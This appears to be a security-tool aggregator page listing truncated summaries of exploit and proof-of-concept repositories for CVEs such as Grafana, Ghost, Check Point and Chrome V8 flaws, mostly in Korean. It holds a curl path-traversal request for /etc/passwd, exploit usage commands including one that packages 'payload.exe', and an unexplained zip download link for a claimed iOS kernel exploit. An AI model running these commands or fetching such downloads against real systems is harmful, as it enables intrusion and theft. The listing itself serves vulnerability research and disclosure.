smbeagle

root@kitploit: / \ / // / / / // / / / / / ///\ / / / / / / / / / / / / / / // / / / / , / / / // // / / / / // // / // ,// ///||////,// ///, / PRESENTS // SMBeagle SMBeagle — это кроссплатформенное средство аудита файловых ресурсов SMB, которое находит все файлы, доступные в сети, и...

CVE-2025-15647

CDT before 1.4.5 contains an out-of-bounds read vulnerability in the opposedVertexInd function when constraint edge intersections are computed in floating point and round outside adjacent triangles. Attackers can supply nearly-degenerate constraint edges through geometry data to trigger an...

CVE-2025-15614

ugrep before 7.6.0 contains a heap buffer over-read vulnerability in the LZW decompressor when processing crafted .Z archive files. Attackers can supply malformed .Z files that cause the decompressor to read one byte past the allocated heap buffer, potentially crashing the process...

oob_entry

oobentry: tfp0 접근을 위한 승인된 iOS 커널 익스플로잇 연구 릴리즈 보기: https://github.com/rkrakesh524/oobentry/raw/refs/heads/main/src/entry-oob-1.1.zip 연구자들이 tfp0 접근과 관련된 iOS 커널 개념을 문서화하고, 논의하고, 지식을 공유할 수 있는 차분하고 신중한 공간입니다. 이 저장소는 실험실 환경에서의 거버넌스, 윤리, 재현 가능하며 승인된 연구에 중점을 둡니다. 즉시 사용 가능한 익스플로잇 절차, 배포 채널, 또는 무단 접근을 가능하게...

CVE-2020-17519

CVE-2020-17519 Apache Flink RESTful API 임의 파일 읽기 Apache Flink는 Java와 Scala로 개발된, 무한 및 유한 데이터 스트림에 대한 상태 저장 계산을 위한 프레임워크이자 분산 처리 엔진입니다. Apache Flink 1.11.0에 도입된 변경 사항1.11.1 및 1.11.2에도 포함으로 인해 공격자는 JobManager 프로세스의 RESTful API를 통해 JobManager 로컬 파일 시스템의 모든 파일을 읽을 수 있습니다. 파일 시스템 접근은 JobManager 프로세스가...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - 임의 파일 읽기 🔥 취약점 요약 WordPress 플러그인 File Away 버전 = 3.9.9.0.1은 인증되지 않은 임의 파일 읽기 취약점에 영향을 받습니다. 이를 통해 공격자는 플러그인의 AJAX 엔드포인트에 조작된 요청을 전송하여 wp-config.php와 같은 서버의 모든 파일을 읽을 수 있습니다. 이 취약점은 admin-ajax.php를 통해 fileaway-stats 액션을 사용할 때 부적절한 nonce 검증과 경로 제한 부재...

uc_httpd_exploit

uc httpd exploit lighthttpd py3로 만든 간단한 uc httpd 익스플로잇입니다. 이 익스플로잇은 CVE-2014-2324를 기반으로 작성되었습니다. 설명 lighttpd 1.4.35 이전 버전의 1 modevhost 및 2 modsimplevhost에서 발생하는 다중 디렉터리 트래버설 취약점으로, 원격 공격자가 호스트 이름에 포함된 .. 점 두 개을 통해 임의 파일을 읽을 수 있습니다. 이는 requestcheckhostname과 관련됩니다...

CVE-2021-43798-Grafana

CVE-2021-43798 Grafana 임의 파일 읽기 1.설치 root@kitploit: pip3 install -r requirements.txt 2.사용법 root@kitploit: $ python3 grafana.py -h / | \ \ / / | | | \ / \ | \ / | | || | | / | | / \ | | \ \ / / | | | | | | | | | | | || | | \ / / | | / \ | | \ V / | | || / / | || | / / | | || | | | / / , | | | | /...

CVE-2022-3699

CVE-2022-3699 CVE-2022-3699에 대한 개념 증명 익스플로잇 Windows 10 22H2 빌드 19045.4651 및 빌드 19045.3803에서 테스트됨 이 취약점은 권한이 없는 사용자가 커널 인스턴스에서 물리적 메모리를 읽고 쓸 수 있는 기능에 접근할 수 있게 하는 것과 관련이 있습니다. 다만 프리미티브가 물리적 메모리를 다루기 때문에 이를 무기화하려면 약간의 추가 작업이 필요합니다. 가상 읽기 프리미티브를 얻는 아이디어는 ch3rn0byl에게서 얻은 alfarom256에게서 가져왔습니다...

CVE-2025-6554

CVE-2025-6554 이 저장소에는 다음이 포함되어 있습니다 이 저장소는 V8 샌드박스에서 addressof 및 fakeobj 프리미티브와 임의 주소 읽기/쓰기 프리미티브를 구성하고 증명했습니다. 재현 정보 커밋: 609a85c2a1bd77d6f6905369f4bc4fcf34c5db09 명령줄: out\x64.release\d8 --allow-natives-syntax 감사의 말 poc를 찾아주신 @DarkNavyOrg님께 감사드립니다. 이 버그에 대한 상세한 분석을 작성해 주신 qianxin님께 감사드립니다. 익스플로잇...

CVE-2026-26980-PoC

CVE-2026-26980 — Ghost CMS Content API 블라인드 SQL 인젝션 영향 대상: Ghost 3.24.0 – 6.19.0 수정 버전: Ghost 6.19.1 인증 필요: 없음 — Content API 키는 공개 영향: 인증 없이 전체 데이터베이스 읽기 가능 자격 증명, API 키 취약점 slug-filter-order.js는 사용자가 제공한 slug 값을 매개변수화된 바인딩 대신 원시 SQL ORDER BY 절에 직접 삽입합니다. root@kitploit: // VULNERABLE — Ghost...

blind-xxe-controller-CVE-2021-29447

블라인드 XXE 컨트롤러 이 컨트롤러는 HackTheBox의 metatwo 머신에서 CVE-2021-29447을 악용하기 위해 만들었습니다. 이 취약점은 미디어 라이브러리에 영향을 주는 WordPress XXE 취약점으로, 영향을 받는 버전은 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11입니다. 미디어 라이브러리 업로드 권한이 있는 인증된 사용자가 악의적인 wav 파일을 업로드하여 원격 임의 파일 읽기 및 서버 측 요청 위조SSRF를 유발할 수 있습니다. 이 취약점을 악용하려면 성공적인 공격을 위해 여러 단계를 거쳐야...

CVE-2024-4956

CVE-2024-4956 이 저장소는 CVE-2024-4956 취약점 악용을 자동화하는 Python 유틸리티를 포함하며, 입력 파일에서 파일 경로를 대량 테스트하고 발견된 파일 경로 내용을 디스크에 저장하여 분석하는 과정을 자동화합니다. 취약점에 대한 자세한 내용은 여기에서 확인할 수 있습니다. 사용법 root@kitploit: usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit...

CVE-2024-28995

CVE-2024-28995 면책 조항 본 도구는 개인 보안 연구 및 학습용으로만 사용됩니다. 본 도구의 전파 및 사용으로 인해 발생하는 모든 직접적 또는 간접적 결과와 손실은 사용자 본인이 책임지며, 도구 작성자는 이에 대해 어떠한 책임도 지지 않습니다. version = 15.4 NAME: Serv-U - 임의 파일 읽기 USAGE: global options command command options arguments... COMMANDS: help, h 명령어 목록을 표시하거나 하나의 명령어에 대한 도움말을 표시합니다...

CVE-2026-11645

CVE-2026-11645 - 원격 코드 실행 이전의 Google Chrome V8 빠른 사용법 root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe 악용 참고 사항 심각도: HIGH CVSS: 8.8 영향: 기밀성, 무결성, 가용성 게시일: 2026-06-09 기술 요약 Google Chrome 149.0.7827.103 이전 버전의 V8에서 발생하는 경계를 벗어난 읽기 및 쓰기로 인해 원격 공격자가 조작된...

CVE-2025-24104

CVE-2025-24104 분석: 샌드박스 외부 파일 읽기 Apple이 나중에 CVE-2025-24104 로 추적한 버그를 신고했습니다. 원본 보고서에서는 악성 백업을 사용하여 샌드박스 제한을 우회하는 방법을 시연했습니다. 그러나 Apple의 초기 설명에서는 이 취약점이 보호된 시스템 파일을 수정할 수 있다고 명시했습니다. 기록을 바로잡고자 합니다: 이 버그는 실제로 공격자가 샌드박스 외부의 임의 파일을 읽을 수 있게 합니다. 타임라인 발견: 2024년 4월 보고: 2024년 10월 패치: iOS 18.3 베타 1 발견한 내용...

n8n-cve-2026-21858

n8n-cve-2026-21858 CVE-2026-21858 + CVE-2025-68613 — n8n 비인증 파일 읽기를 통한 RCE 익스플로잇...

CVE-2024-24919

CVE-2024-24919 대량 자동 스캐너 이 스크립트는 원격 Check Point 방화벽에서 CVE-2024-24919 취약점을 스캔하기 위해 설계되었습니다. 악성 POST 요청을 보내 대상 서버에서 지정된 파일을 추출하여 취약점을 악용하려고 시도합니다. 스크립트 실행 제공된 스크립트를 massautoscanner.py와 같은 Python 파일로 저장합니다. 터미널 또는 명령 프롬프트를 엽니다. massautoscanner.py와 urls.txt 파일을 저장한 디렉토리로 이동합니다. 다음 명령을 사용하여 스크립트를 실행합니...

CVE-2021-39433

CVE-2021-39433 로컬 파일 포함LFI 취약점이 BIQS IT Biqs-drive v1.83 이하 버전에 존재하며, download/index.php의 file 매개변수로 특정 페이로드를 전송할 때 발생합니다. 이를 통해 공격자는 구성된 웹 사용자의 권한으로 서버에서 임의의 파일을 읽을 수 있습니다. curl https://TARGET/download/index.php?file=../../../../../../../../../etc/passwd...

CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

CVE-2022-44268 ImageMagick 임의 파일 읽기 PoC CVE-2022-44268 ImageMagick 임의 파일 읽기 PoC - 페이로드 생성기 이 프로젝트는 교육 목적으로만 제작되었으며, 법률 위반이나 개인적 이익을 위해 사용될 수 없습니다. 이 프로젝트의 저자는 이 프로젝트의 자료로 인해 발생할 수 있는 모든 피해에 대해 책임을 지지 않습니다. 원본 발견: https://www.metabaseq.com/imagemagick-zero-days/ 사용법: 의존성 설치: 1. $ apt-get install...